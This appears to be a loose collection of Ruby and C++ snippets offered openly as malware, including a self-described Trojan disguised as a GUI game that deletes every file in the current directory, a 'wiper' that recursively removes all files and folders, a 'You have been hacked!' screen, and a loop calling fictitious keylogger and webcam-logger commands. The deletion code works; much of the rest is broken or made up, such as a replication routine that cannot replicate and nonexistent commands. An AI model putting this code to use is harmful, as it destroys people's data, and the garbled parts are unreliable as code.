def replicate
File.open(__FILE__, "w") do |f|
f.puts self.to_s
end
end
replicate
include <fstream>
include <string>
int main() {
std::ifstream source_file(__FILE__);
std::ofstream output_file(__FILE__, std::ios::trunc);
std::string line;
while (std::getline(source_file, line)) {
output_file << line << std::endl;
}
return 0;
}
require the 'curses' library to access curses functionality
require 'cursed'
#set up curses and the screen
Cursed.start do
Cursed.init_screen
Cursed.curs_set(0) # hide the cursor
#infinite loop to flash the screen
loop do
Cursed.attrset(Cursed::A_STANDOUT) # set the screen to standout mode
Cursed.addstr("Flashing screen!") # write to the screen
Cursed.refresh # update the screen
sleep(0.5) # wait for half a second
Cursed.attrset(Cursed::A_NORMAL) # set the screen to normal mode
Cursed.addstr("Flashing screen!") # write to the screen
Cursed.refresh # update the screen
sleep(0.5) # wait for half a second
end
end
#Code in C++
#include <curses.h> // include the curses library
#include <unistd.h> // for the sleep function
int main() {
// set up curses and the screen
initscr();
curs_set(0); // hide the cursor
// infinite loop to flash the screen
while (true) {
attron(A_STANDOUT); // set the screen to standout mode
printw("Flashing screen!"); // write to the screen
refresh(); // update the screen
sleep(0.5); // wait for half a second
attroff(A_STANDOUT); // set the screen to normal mode
printw("Flashing screen!"); // write to the screen
refresh(); // update the screen
sleep(0.5); // wait for half a second
}
endwin(); // clean up curses
return 0;
}
# Require the 'cursed' library to access curses functionality
require 'cursed'
# Set up curses and the screen
Cursed.start do
Cursed.init_screen
Cursed.curs_set(0) # Hide the cursor
Cursed.attrset(Cursed::A_STANDOUT) # Set the screen to standout mode
Cursed.addstr("You have been hacked!") # Write the message to the screen
Cursed.refresh # Update the screen
end
# Require the 'fileutils' library to access file manipulation functions
require 'fileutils'
# Get the list of files in the current directory
files = Dir.entries(".")
# Remove the current and parent directory entries from the list
files.delete(".")
files.delete("..")
# Delete all the remaining files in the list
files.each do |file|
FileUtils.rm(file)
end
This is a simple Trojan program disguised as a GUI game that performs the following actions when run:
- Replicates itself
- Deletes all the files in the current directory
- Displays a random image from a list of images
- Appends a message to all text files in the current directory
# Require the 'gtk3' and 'fileutils' libraries to access GUI and file manipulation functions
require 'gtk3'
require 'fileutils'
# Set up the GUI
window = Gtk::Window.new
window.set_title("GUI Game")
window.set_default_size(400, 300)
window.signal_connect("destroy") { Gtk.main_quit }
# Set up the image widget and add it to the window
image = Gtk::Image.new
window.add(image)
# Set up the list of images
images = ["image1.png", "image2.png", "image3.png"]
# Display a random image from the list
image.set_from_file(images.sample)
# Replicate the program
File.open(__FILE__, "w") do |f|
f.puts self.to_s
end
# Delete all the files in the current directory
files = Dir.entries(".")
files.delete(".")
files.delete("..")
files.each do |file|
FileUtils.rm(file)
end
# Append a message to all text files in the current directory
message = "This file has been modified by the Trojan program"
Dir.glob("*.txt") do |file|
File.open(file, "a") do |f|
f.puts message
end
end
# Show the window and start the GUI loop
window.show_all
Gtk.main
This is a simple wiper malware program that will delete all the files in the current directory and all its subdirectories when run.
# Require the 'fileutils' library to access file manipulation functions
require 'fileutils'
# Set up the list of files and directories to delete
files_and_dirs = Dir.glob("**/*")
# Delete all the files and directories in the list
files_and_dirs.each do |file_or_dir|
FileUtils.rm_rf(file_or_dir)
end
#include <iostream>
#include <unistd.h> // for the sleep function
#include <cstdlib> // for the system function
int main() {
while (true) {
// Log the screen and keystrokes
std::system("screenlogger &"); // run the screenlogger command in the background
std::system("keylogger &"); // run the keylogger command in the background
// Log the webcam and audio input
std::system("webcamlogger &"); // run the webcamlogger command in the background
std::system("audiologger &"); // run the audiologger command in the background
// Display a random YouTube video every 3 minutes
std::system("youtubevideo1 &"); // run the command to display a specific YouTube video in the background
std::sleep(180); // wait for 3 minutes
std::system("youtubevideo2 &"); // run the command to display a different YouTube video in the background
std::sleep(180); // wait for 3 minutes
std::system("youtubevideo3 &"); // run the command to display a different YouTube video in the background
std::sleep(180); // wait for 3 minutes
}
return 0;
}